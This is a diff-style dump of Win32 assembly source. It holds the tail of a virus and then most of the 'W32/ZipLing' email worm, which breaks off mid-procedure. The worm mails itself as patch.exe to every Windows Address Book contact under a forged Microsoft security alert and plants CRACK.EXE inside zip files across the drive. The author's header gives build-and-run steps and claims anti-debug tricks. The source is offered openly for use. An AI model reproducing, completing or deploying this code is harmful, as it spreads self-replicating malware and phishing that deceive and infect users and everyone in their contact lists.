||||
|
||||
|
||||
|
||||
Export_Section dd 0
|
||||
;;00401-667
|
||||
;:0040166C 000000
|
||||
|
||||
|
||||
DistanceToMove dd 0
|
||||
|
||||
|
||||
FindNXTFile equ ($-FindNextFileA_)
|
||||
|
||||
|
||||
|
||||
Search_Mask equ (WIN32_FIND_DATA-search_mask)
|
||||
|
||||
FILETIME STRUC
|
||||
FT_dwLowDateTime DD ?
|
||||
FT_dwHighDateTime DD ?
|
||||
FILETIME ENDS
|
||||
|
||||
|
||||
WIN32_FIND_DATA:
|
||||
WFD_dwFileAttributes DD ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh DD ?
|
||||
WFD_nFileSizeLow DD ?
|
||||
WFD_dwReserved0 DD ?
|
||||
WFD_dwReserved1 DD ?
|
||||
WFD_szFileName DB 0ffh DUP (?)
|
||||
WFD_szAlternateFileName DB 13 DUP (?)
|
||||
DB 3 DUP (?) ; dword padding
|
||||
|
||||
|
||||
MAX_PATH equ 0ffh
|
||||
|
||||
|
||||
CreationTime FILETIME ?
|
||||
LastAccessTime FILETIME ?
|
||||
LastWriteTime FILETIME ?
|
||||
|
||||
|
||||
|
||||
SizeOfEncryptedVirus equ ($-EncryptedVirusStart)
|
||||
|
||||
; 00000000 BYTE 10 DUP(0)
|
||||
;:0040168A 00000000000000000000 BYTE 10 DUP(0)
|
||||
|
||||
VirusEnd equ ($-VirusStart)
|
||||
FakeHost:
|
||||
push eax
|
||||
call ExitProcess
|
||||
|
||||
|
||||
end VirusStart
|
||||
@@ -0,0 +1,970 @@
|
||||
;
|
||||
; W32/ZipLing -
|
||||
;
|
||||
; First of all this is the source code to an I-Worm. I do not guarantee it works, although
|
||||
; I have tested it on my system and it had seemed to work. I lost interest in it after a while
|
||||
; so I completely forgot about it until one day, when i decided to finish my I-Worm ;). It should
|
||||
; work however, because as far as my short-term memory goes back it seemed to work OK where it
|
||||
; was at a couple of weeks ago. Basically now I just added in the threads and took out the breakpoints,
|
||||
; so I think it should travel nicely (if it was spreaded). Anyway, please contact me if you find
|
||||
; a problem or if you'd like to comment on it. I am not responsible for what happens to you or
|
||||
; other people if you use it. You've been warned =)
|
||||
;
|
||||
;
|
||||
; This is my I-Worm. I been workin on it for about 4 weeks (i took a bit of a break for 1
|
||||
; week:). It doesn't travel by MAPI but it does somewhat rely on Outlook. It needs Windows
|
||||
; Address Book, but this shouldn't be a problem because most people have outlook. It uses its
|
||||
; own SMTP engine. It Mime encodes the worm EXE and sends it out to all addresses in the default
|
||||
; WAB file. As you can see, this can spread very well if it gets sent to the right place. This
|
||||
; worm uses many anti-debug and anti-emu tricks, to make detection of it harder. It creates 2 threads:
|
||||
; 1 checks 1 drive for zip files, dropping a crack.exe over all of them.
|
||||
; User may think it is a bit suspicious but I'm sure he doesnt look at all of his zip files. Other thread
|
||||
; finds email addresses and sends each a copy of the worm+msg from microsoft :). Worm is named patch.exe
|
||||
; and claims to fix a serious bug inside windows core (kernel32) files. It doesn't though; it just gives
|
||||
; a message saying corrupt CRC or something the like. The file that it drops inside zip files says same
|
||||
; thing, and since they are crack.exe and patch.exe it should fit both.
|
||||
;
|
||||
;
|
||||
; This source is does not have many comments. If you want to learn how to create a worm,
|
||||
; I recommend you try the MAPI way first. There are a couple of ASM worms that are straight
|
||||
; forward for you to learn on.
|
||||
;
|
||||
;
|
||||
;
|
||||
; How to build:
|
||||
; (masm32)
|
||||
; ml /c /coff ziplung.asm
|
||||
; link /SUBSYSTEM:WINDOWS ziplung.obj
|
||||
; pewrsec ziplung.exe
|
||||
; ziplung.exe
|
||||
; ^^^^^^^^^^^-> hehehe
|
||||
;
|
||||
; please pay visit to http://bluebola.8k.com !
|
||||
;
|
||||
; and.. Enjoy.
|
||||
|
||||
.486p
|
||||
.model flat,stdcall
|
||||
option casemap :none
|
||||
include \masm32\include\windows.inc
|
||||
include \masm32\include\zipfile.inc
|
||||
include \masm32\include\advapi32.inc
|
||||
include \masm32\include\kernel32.inc
|
||||
include \masm32\include\wsock32.inc
|
||||
include \masm32\include\user32.inc
|
||||
includelib \masm32\lib\kernel32.lib
|
||||
includelib \masm32\lib\wsock32.lib
|
||||
includelib \masm32\lib\advapi32.lib
|
||||
includelib \masm32\lib\user32.lib
|
||||
|
||||
SearchZIP PROTO :DWORD
|
||||
thread1 PROTO
|
||||
thread2 PROTO
|
||||
|
||||
.code ; CODE SECTION of worm
|
||||
start:
|
||||
jmp @F
|
||||
|
||||
filename db 128 dup (?)
|
||||
szTemp db "tmp9174.tmp",0
|
||||
mem01 dd 0
|
||||
hTemp dd 0
|
||||
tSize dd 0
|
||||
thid1 dd 0
|
||||
thid2 dd 0
|
||||
fr db 260 dup (?)
|
||||
msg db "Could not patch due to bad CRC!",0
|
||||
@@:
|
||||
invoke GetModuleFileName,0,addr filename,128
|
||||
invoke CopyFile,addr filename,addr szTemp,0
|
||||
invoke CreateFile,addr szTemp,0c0000000h,01h,00h,03h,00h,00h
|
||||
mov hTemp,eax
|
||||
invoke GetFileSize,EAX,0
|
||||
mov ebx,eax
|
||||
invoke GlobalAlloc,0,eax
|
||||
mov mem01,eax
|
||||
invoke ReadFile,hTemp,mem01,ebx,addr filename,00h
|
||||
invoke CloseHandle,hTemp
|
||||
; MEM01 now = ptr to our EXE. We need this for MIME and ZIP appending
|
||||
mov tSize,EBX
|
||||
mov zpC_S1,EBX ; adjust the size of our data
|
||||
mov zpC_S2,EBX
|
||||
mov zpL_S1,EBX
|
||||
mov zpL_S2,EBX
|
||||
|
||||
invoke MessageBox,0,addr msg,0,0
|
||||
|
||||
invoke CreateThread,0,0,addr thread1,addr fr,0,addr thid1
|
||||
mov ebx,eax
|
||||
|
||||
invoke CreateThread,0,0,addr thread2,0,0,addr thid2
|
||||
mov esi,eax
|
||||
|
||||
invoke WaitForSingleObject,ebx,-1
|
||||
invoke WaitForSingleObject,esi,-1
|
||||
jmp LeaveNow
|
||||
|
||||
Recipient db 256 dup (?)
|
||||
sizeRecip dd $-Recipient
|
||||
|
||||
sendtable:
|
||||
dd offset SendHelo ; HELO LocalHost
|
||||
dd offset SendFrom ; MAIL FROM:
|
||||
dd offset SendRcpt ; RCPT TO:
|
||||
dd offset SendData1 ; send the DATA part of the message
|
||||
dd offset SendData2 ; sends the actual DATA
|
||||
dd offset SendQuit ; send the QUIT part
|
||||
dd 00000000h ; end marka
|
||||
buffer db 512 dup (?)
|
||||
; Used for SELECT calls
|
||||
Timeout:
|
||||
dd 5
|
||||
dd 0
|
||||
FDSet:
|
||||
dd 1
|
||||
MailSocket dd 0
|
||||
SendWorm: ; This little part of the worm does this here:
|
||||
; Gets Default Email server
|
||||
; Connects to it
|
||||
; Sends the message
|
||||
pushad
|
||||
openkey:
|
||||
xor eax,eax
|
||||
call @F
|
||||
phkMailKey dd 0
|
||||
@@:
|
||||
push KEY_ALL_ACCESS
|
||||
push eax
|
||||
call @F
|
||||
db "Software\Microsoft\Internet Account Manager"
|
||||
slashkey db 0
|
||||
db "Accounts\"
|
||||
lpDefaultAccount db 8 dup(0)
|
||||
db 0
|
||||
@@:
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyEx
|
||||
|
||||
or eax,eax
|
||||
jnz LeaveNow
|
||||
|
||||
cmp byte ptr [slashkey],0
|
||||
jnz getsmtpmail
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 00000009h
|
||||
@@:
|
||||
push offset lpDefaultAccount
|
||||
push eax
|
||||
push eax
|
||||
call @F
|
||||
db "Default Mail Account",0
|
||||
@@:
|
||||
push dword ptr [phkMailKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkMailKey]
|
||||
call RegCloseKey
|
||||
mov byte ptr [slashkey],'\'
|
||||
jmp openkey
|
||||
getsmtpmail:
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 00000200h ; 512 bytes
|
||||
@@:
|
||||
push offset buffer
|
||||
push eax
|
||||
push eax
|
||||
call @F
|
||||
db "SMTP Server",0
|
||||
@@:
|
||||
push dword ptr [phkMailKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkMailKey]
|
||||
call RegCloseKey
|
||||
|
||||
lea edi,buffer
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
call @F
|
||||
pp2 WSADATA <?>
|
||||
@@:
|
||||
push 0101h
|
||||
call WSAStartup
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
push edi
|
||||
call gethostbyname
|
||||
|
||||
mov eax,[eax+12]
|
||||
mov eax,[eax]
|
||||
mov eax,[eax] ; we got the DWORD IP
|
||||
|
||||
mov dword ptr [dwIPAddress],EAX
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
call socket
|
||||
mov MailSocket,EAX
|
||||
inc eax
|
||||
jz LeaveNow
|
||||
|
||||
push 16 ; size of following structure
|
||||
call @F
|
||||
dw AF_INET
|
||||
hPort db 0, 25
|
||||
dwIPAddress dd 0
|
||||
Reserved2 dd 0,0
|
||||
@@:
|
||||
push dword ptr [MailSocket]
|
||||
call connect
|
||||
inc eax
|
||||
jz EndWinsock
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
cld
|
||||
lea ebx,sendtable ; sendtable = table of functions that operate w/ smtp server
|
||||
WaitForResponse: ; check if its ok to read
|
||||
xor eax,eax
|
||||
push offset Timeout
|
||||
push eax
|
||||
push eax
|
||||
push offset FDSet
|
||||
push eax
|
||||
call select
|
||||
|
||||
dec eax
|
||||
jnz EndWinsock
|
||||
|
||||
call @worm_recv ; receive the data into ptr supplied by ESI
|
||||
or eax,eax
|
||||
jz EndWinsock
|
||||
|
||||
lodsb
|
||||
dec esi ; we dont want to modify ESI
|
||||
okiebyte equ $+1 ; to change the 032h
|
||||
cmp al,032h ; 032h = "2" = OK :)
|
||||
jnz EndWinsock ; no no its not ok
|
||||
|
||||
mov byte ptr [okiebyte],032h ; fixor it when we mess it up
|
||||
SendOurResponse: ; check if its okay to write
|
||||
xor eax,eax
|
||||
push offset Timeout
|
||||
push eax
|
||||
push offset FDSet
|
||||
push eax
|
||||
push eax
|
||||
call select
|
||||
|
||||
dec eax
|
||||
jnz EndWinsock
|
||||
|
||||
call dword ptr [ebx]
|
||||
or eax,eax
|
||||
jz EndWinsock ; zero = error
|
||||
|
||||
cmp dword ptr [ebx+4],0
|
||||
jz EndWinsock ; end of table
|
||||
|
||||
add ebx,4
|
||||
jmp WaitForResponse
|
||||
SendHelo: ; sends a HELO command
|
||||
jmp @F
|
||||
pHelo db "HELO LocalHost",0Dh,0Ah
|
||||
sHelo equ $-pHelo
|
||||
@@:
|
||||
lea esi,pHelo
|
||||
mov ecx,sHelo
|
||||
call @worm_send ; send the data
|
||||
ret
|
||||
SendQuit: ; sends a QUIT command
|
||||
jmp @F
|
||||
pQuit db "QUIT",0Dh,0Ah
|
||||
sQuit equ $-pQuit
|
||||
@@:
|
||||
lea esi,pQuit
|
||||
mov ecx,sQuit
|
||||
call @worm_send ; send the data
|
||||
ret
|
||||
SendFrom:
|
||||
jmp @F
|
||||
pFrom db "MAIL FROM:<critical@microsoft.com>",0Dh,0Ah
|
||||
sFrom equ $-pFrom
|
||||
@@:
|
||||
lea esi,pFrom
|
||||
mov ecx,sFrom
|
||||
call @worm_send
|
||||
ret
|
||||
SendRcpt:
|
||||
jmp @F
|
||||
pRcpt db "RCPT TO:<"
|
||||
sRcpt equ $-pRcpt
|
||||
pRcpt2 db ">",0Dh,0Ah
|
||||
sRcpt2 equ $-pRcpt2
|
||||
@@:
|
||||
lea esi,pRcpt
|
||||
mov ecx,sRcpt
|
||||
call @worm_send
|
||||
|
||||
lea esi,Recipient ; who to email it to
|
||||
mov ecx,sizeRecip ; Size of the string
|
||||
call @worm_send
|
||||
|
||||
lea esi,pRcpt2
|
||||
mov ecx,sRcpt2
|
||||
call @worm_send ; send the 0A0Dh so server accepts it
|
||||
ret
|
||||
SendData1:
|
||||
jmp @F
|
||||
pData db "DATA",0Dh,0Ah
|
||||
sData equ $-pData
|
||||
@@:
|
||||
lea esi,pData
|
||||
mov ecx,sData
|
||||
call @worm_send
|
||||
mov byte ptr [okiebyte],033h
|
||||
ret
|
||||
SendData2:
|
||||
jmp @F
|
||||
pData2 db "From: Microsoft Critical Response Team <critical@microsoft.com>",0Dh,0Ah
|
||||
db "Subject: Urgent message for all Windows users",0Dh,0Ah
|
||||
db "MIME-Version: 1.0",0Dh,0Ah
|
||||
db 'Content-Type: multipart/mixed; boundary="bound"',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db '--bound',0Dh,0Ah
|
||||
db 'Content-Type: text/plain; charset=ISO-8859-1',0Dh,0Ah
|
||||
db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db "Dear Windows User,",0Dh,0Ah
|
||||
db 0Dh,0AH
|
||||
db " The Microsoft Security Experts have discovered a bug inside the Windows'",0Dh,0Ah
|
||||
db " files that poses a security threat to all versions of Windows newer than ",0Dh,0Ah
|
||||
db " Windows98 (including Windows98). Virus experts have reported that few known",0Dh,0Ah
|
||||
db " viruses have been identified using this exploit, but more are expected. A ",0Dh,0Ah
|
||||
db " patch has been supplied with this email and will fix the security hole. ",0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db " **THIS MESSAGE WAS DELIVERED VIA MICROSOFT ALERT AUTO-MESSENGER** ",0Dh,0Ah
|
||||
db '--bound',0Dh,0Ah
|
||||
db 'Content-Type: application/octet-stream; name=patch.exe',0Dh,0Ah
|
||||
db 'Content-Transfer-Encoding: base64',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
|
||||
sData2 equ $-pData2
|
||||
pDot db 0Dh,0Ah,'--bound--',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db "."
|
||||
db 0Dh,0Ah
|
||||
sDot equ $-pDot
|
||||
|
||||
mem02 dd 0
|
||||
|
||||
@@:
|
||||
|
||||
lea esi,pData2
|
||||
mov ecx,sData2
|
||||
call @worm_send
|
||||
; Send the actual file in mime format
|
||||
invoke GlobalAlloc,0,7168*3 ; for mime encoded
|
||||
mov mem02,eax
|
||||
|
||||
mov eax,tSize ; Data size MUST BE DIVISIBLE BY 3!
|
||||
mov ecx,3
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
mov ecx,eax
|
||||
|
||||
mov edx,mem02
|
||||
mov eax,mem01
|
||||
call encodebase64
|
||||
|
||||
mov esi,mem02
|
||||
call @worm_send
|
||||
|
||||
lea esi,pDot
|
||||
mov ecx,sDot
|
||||
call @worm_send
|
||||
|
||||
invoke GlobalFree,mem02
|
||||
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
EndWinsock:
|
||||
push dword ptr [MailSocket]
|
||||
call closesocket
|
||||
|
||||
popad
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
LeaveNow:
|
||||
invoke ExitProcess,0
|
||||
|
||||
@worm_recv:
|
||||
lea esi,buffer
|
||||
push 0
|
||||
push 512
|
||||
push esi
|
||||
push dword ptr [MailSocket]
|
||||
call recv
|
||||
ret
|
||||
|
||||
@worm_send:
|
||||
; ESI = ptr to what to send
|
||||
; ECX = size of data to send
|
||||
push 0
|
||||
push ecx
|
||||
push esi
|
||||
push dword ptr [MailSocket]
|
||||
call send
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; ZIP Appending procedures (c) blueEbola 2001-2002
|
||||
; Feel free to distibute this procedure or use it in your own code.
|
||||
;
|
||||
zipappend:
|
||||
jmp @F
|
||||
zpLocalFile dd 04034B50h ; PK signature
|
||||
dw 0014h
|
||||
dw 8000h
|
||||
dw 0000h
|
||||
dw 8C78h
|
||||
dw 8578h
|
||||
zpL_crc dd 00000000h
|
||||
zpL_S1 dd sizeLoc-data_s
|
||||
zpL_S2 dd sizeLoc-data_s
|
||||
dw 0009h ; filename = 8 chars long
|
||||
dw 0000h
|
||||
db "CRACK.EXE" ; Most users run cracks hehe (we give a fake message :)
|
||||
data_s:
|
||||
sizeLoc equ $
|
||||
|
||||
fName dd 0 ; pointer to name to infect
|
||||
hFile dd 0
|
||||
fSize dd 0
|
||||
hAlloc dd 0
|
||||
dwTempRW dd 0
|
||||
|
||||
zpCentralDir dd 02014b50h
|
||||
db 14h
|
||||
db 00h
|
||||
db 14h
|
||||
db 00h
|
||||
dw 8000h
|
||||
dw 0000h
|
||||
dw 8c78h
|
||||
dw 8578h
|
||||
zpC_crc dd 00000000h
|
||||
zpC_S1 dd sizeLoc-data_s
|
||||
zpC_S2 dd sizeLoc-data_s
|
||||
dw 0009h
|
||||
dw 0,0,0,0
|
||||
dd 00000020h
|
||||
rvaloc dd 00000000h
|
||||
db "CRACK.EXE"
|
||||
sizeCen equ $
|
||||
@@:
|
||||
mov fName,ESI
|
||||
|
||||
mov ecx,zpL_S1
|
||||
mov esi,mem01
|
||||
call CRC32
|
||||
mov zpC_crc,EAX
|
||||
mov zpL_crc,EAX
|
||||
|
||||
invoke CreateFile,fName,0c0000000h,01h,00h,03h,00h,00h
|
||||
mov hFile,EAX
|
||||
inc eax
|
||||
jz errorzip
|
||||
dec eax
|
||||
invoke GetFileSize,hFile,0
|
||||
mov fSize,EAX
|
||||
invoke GlobalAlloc,0,fSize
|
||||
mov hAlloc,EAX
|
||||
invoke ReadFile,hFile,eax,fSize,addr dwTempRW,0
|
||||
invoke CloseHandle,hFile
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Appends to data to zip files. (c) blueEbola (me'za love copyrights:)
|
||||
; Most of this was taken from my zippy_ok.asm file and my article, greetz to me :)
|
||||
|
||||
mov edi,hAlloc
|
||||
add edi,fSize
|
||||
sub edi,4
|
||||
LocateEndOfCentral:
|
||||
cmp dword ptr [edi],06054B50h ; PK signature for endofcentral
|
||||
jz FoundEndOfCentral
|
||||
dec edi
|
||||
jmp LocateEndOfCentral
|
||||
FoundEndOfCentral:
|
||||
; OK, we have to check if it is infected
|
||||
jmp checkzip
|
||||
Infect:
|
||||
ASSUME EDI:PTR ZIPEndOfCentralDir
|
||||
mov esi,[edi].ZECD_RVACentralDir
|
||||
|
||||
invoke CreateFile,fName,0C0000000h,01h,00h,02h,00h,00h
|
||||
mov hFile,EAX
|
||||
mov ebx,hAlloc
|
||||
invoke WriteFile,hFile,ebx,esi,addr dwTempRW,0
|
||||
add ebx,esi
|
||||
invoke WriteFile,hFile,addr zpLocalFile,sizeLoc-zpLocalFile,addr dwTempRW,0
|
||||
invoke WriteFile,hFile,mem01,tSize,addr dwTempRW,0
|
||||
mov ecx,[edi].ZECD_SizeOfCentralDir
|
||||
invoke WriteFile,hFile,ebx,ecx,addr dwTempRW,0
|
||||
mov rvaloc,esi
|
||||
invoke WriteFile,hFile,addr zpCentralDir,sizeCen-zpCentralDir,addr dwTempRW,0
|
||||
mov ebx,rvaloc
|
||||
|
||||
add ebx,sizeLoc-zpLocalFile ; size of file
|
||||
add ebx,zpL_S1
|
||||
mov ecx,[edi].ZECD_SizeOfCentralDir
|
||||
add ecx,sizeCen-zpCentralDir
|
||||
mov [edi].ZECD_SizeOfCentralDir,ECX
|
||||
inc [edi].ZECD_TotalNumberOfEntries
|
||||
inc [edi].ZECD_NumberOfEntries
|
||||
mov [edi].ZECD_RVACentralDir,EBX
|
||||
|
||||
mov ebx,hAlloc
|
||||
add ebx,fSize
|
||||
sub ebx,edi
|
||||
invoke WriteFile,hFile,edi,ebx,addr dwTempRW,0
|
||||
invoke CloseHandle,hFile
|
||||
|
||||
errorzip:
|
||||
invoke GlobalFree,hAlloc ; free the mem
|
||||
ret
|
||||
|
||||
checkzip:
|
||||
pushad
|
||||
search: cmp dword ptr [edi],02014B50h
|
||||
jz foundlast
|
||||
dec edi
|
||||
jmp search
|
||||
foundlast: lea edi,[edi+2Eh] ; Filename
|
||||
cmp dword ptr [edi],'CARC' ; CRAC*.***
|
||||
popad
|
||||
jz errorzip ; abort
|
||||
jmp Infect
|
||||
|
||||
CRC32 proc ; ecx = size string esi = string
|
||||
push esi ; I found this proc inside T2000's article on encrypting ZIP files
|
||||
push edx ; thanx T2000 you're a life saver (i been looking everywhere for good CRC32
|
||||
; function because WinZip didn't like my old one!) :) greetz to you!
|
||||
stc
|
||||
sbb edx,edx
|
||||
clc
|
||||
cld
|
||||
LoadChar:
|
||||
lodsb
|
||||
xor dl,al
|
||||
mov al,08h ; 8 bits
|
||||
BitCRC:
|
||||
shr edx,1 ; get bit into carry flag
|
||||
jnc NoCRC ; not set, no CRC
|
||||
xor edx,0EDB88320h ; crc found
|
||||
NoCRC: dec al ; next bit
|
||||
jnz BitCRC
|
||||
loop LoadChar
|
||||
|
||||
xchg edx,eax
|
||||
not eax
|
||||
|
||||
pop edx
|
||||
pop esi
|
||||
ret
|
||||
CRC32 endp
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; ZIP search procedure
|
||||
;
|
||||
; Recursive ZIP file find function
|
||||
; Infects every 3rd zip file found on the system
|
||||
; BTW, In MASM32 v7.0, the FindFile example was created by me :)
|
||||
;
|
||||
; Requirements: s_path buffer must not contain '\' at the end of it (ie. 'C:\Windows')
|
||||
;
|
||||
|
||||
SearchZIP PROC s_path:DWORD ; ptr at s_path must be 260 bytes long (will crash otherwise!:)
|
||||
|
||||
LOCAL wTemp[260]:BYTE ; temporary
|
||||
LOCAL wfd:WIN32_FIND_DATA
|
||||
LOCAL hFind:DWORD
|
||||
|
||||
invoke Sleep,300d ; wait a 0.3 seconds
|
||||
|
||||
jmp zerodir ; zero out the string above
|
||||
__ret001:
|
||||
lea edi,wTemp
|
||||
|
||||
push edi
|
||||
mov esi,s_path
|
||||
mov ecx,260
|
||||
rep movsb
|
||||
pop edi
|
||||
|
||||
xor al,al
|
||||
scasb
|
||||
jnz $-1 ; get to the 0byte
|
||||
|
||||
dec edi
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
invoke FindFirstFile,addr wTemp,addr wfd
|
||||
mov hFind,EAX
|
||||
push eax
|
||||
inc eax
|
||||
jz NoFiles
|
||||
pop ebx
|
||||
|
||||
; API's dont modify EBX- its good for handles
|
||||
.while EBX > 0
|
||||
lea esi,wfd.cFileName ; filename
|
||||
lodsw
|
||||
.if AX != 2E2Eh && AX != 002Eh ; '..' or '.'
|
||||
; its not those silly directories...
|
||||
sub esi,02Eh
|
||||
mov eax,[esi]
|
||||
.if AL & 010h ; is it a directory
|
||||
; It is a directory
|
||||
lea esi,wfd.cFileName
|
||||
lea edi,wTemp
|
||||
|
||||
mov al,'*'
|
||||
scasb
|
||||
jnz $-1
|
||||
sub edi,2
|
||||
|
||||
push edi
|
||||
|
||||
xor ecx,ecx
|
||||
mov al,'\'
|
||||
|
||||
boohoo: stosb
|
||||
lodsb
|
||||
inc ecx
|
||||
cmp al,00h
|
||||
jnz boohoo
|
||||
|
||||
pop edi
|
||||
pushad
|
||||
invoke SearchZIP,addr wTemp
|
||||
popad
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
sub ecx,2
|
||||
xor al,al
|
||||
rep stosb
|
||||
|
||||
.else
|
||||
; It is a file
|
||||
; Now we have to check if it is a .ZIP file
|
||||
lea edi,wfd.cFileName
|
||||
xor al,al
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
|
||||
sub edi,5
|
||||
mov eax,dword ptr [edi]
|
||||
or eax,020202020h
|
||||
cmp eax,'piz.' ; .zip file?
|
||||
jnz __ret002
|
||||
|
||||
lea edi,wTemp
|
||||
mov al,'*'
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
sub edi,2
|
||||
|
||||
xor eax,eax
|
||||
stosw
|
||||
|
||||
invoke SetCurrentDirectory,addr wTemp
|
||||
lea esi,wfd.cFileName
|
||||
|
||||
pushad
|
||||
call zipappend
|
||||
popad
|
||||
|
||||
lea edi,wTemp
|
||||
xor al,al
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
sub edi,2
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
.endif
|
||||
|
||||
.endif
|
||||
jmp zerowfd
|
||||
__ret002:
|
||||
invoke FindNextFile,hFind,addr wfd
|
||||
mov ebx,eax
|
||||
.endw
|
||||
|
||||
invoke FindClose,hFind
|
||||
NoFiles:
|
||||
ret
|
||||
;###########################
|
||||
zerodir:
|
||||
xor al,al
|
||||
lea edi,wTemp
|
||||
mov ecx,260
|
||||
rep stosb
|
||||
jmp __ret001
|
||||
zerowfd:
|
||||
xor al,al
|
||||
lea edi,wfd.cFileName
|
||||
mov ecx,256
|
||||
rep stosb
|
||||
jmp __ret002
|
||||
|
||||
SearchZIP ENDP
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; EncodeBase64: Encodes data into MIME format
|
||||
encodebase64: ; encodeBase64: Proper credit goez out to BumbleBee. I struggled with making
|
||||
; my own MIME encoder so I ripped one.. :) Thanks alot Bumblebee!!
|
||||
; input:
|
||||
; EAX = Address of data to encode
|
||||
; EDX = Address to put encoded data
|
||||
; ECX = Size of data to encode
|
||||
; output:
|
||||
; ECX = size of encoded data
|
||||
;
|
||||
xor esi,esi
|
||||
call over_enc_table
|
||||
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
db "abcdefghijklmnopqrstuvwxyz"
|
||||
db "0123456789+/"
|
||||
over_enc_table:
|
||||
pop edi
|
||||
push ebp
|
||||
xor ebp,ebp
|
||||
baseLoop:
|
||||
movzx ebx,byte ptr [eax]
|
||||
shr bl,2
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
mov bx,word ptr [eax]
|
||||
xchg bl,bh
|
||||
shr bx,4
|
||||
mov bh,0
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
inc eax
|
||||
mov bx,word ptr [eax]
|
||||
xchg bl,bh
|
||||
shr bx,6
|
||||
xor bh,bh
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
inc eax
|
||||
xor ebx,ebx
|
||||
movzx ebx,byte ptr [eax]
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
inc eax
|
||||
|
||||
inc ebp
|
||||
cmp ebp,24
|
||||
jna DontAddEndOfLine
|
||||
|
||||
xor ebp,ebp ; add a new line
|
||||
mov word ptr [edx+esi],0A0Dh
|
||||
inc esi
|
||||
inc esi
|
||||
test al,00h ; Optimized (overlap rlz!)
|
||||
org $-1
|
||||
DontAddEndOfLine:
|
||||
inc ebp
|
||||
sub ecx,3
|
||||
or ecx,ecx
|
||||
jne baseLoop
|
||||
|
||||
mov ecx,esi
|
||||
add edx,esi
|
||||
pop ebp
|
||||
ret
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Locates addresses inside the default WAB file
|
||||
WABFindAddies PROC
|
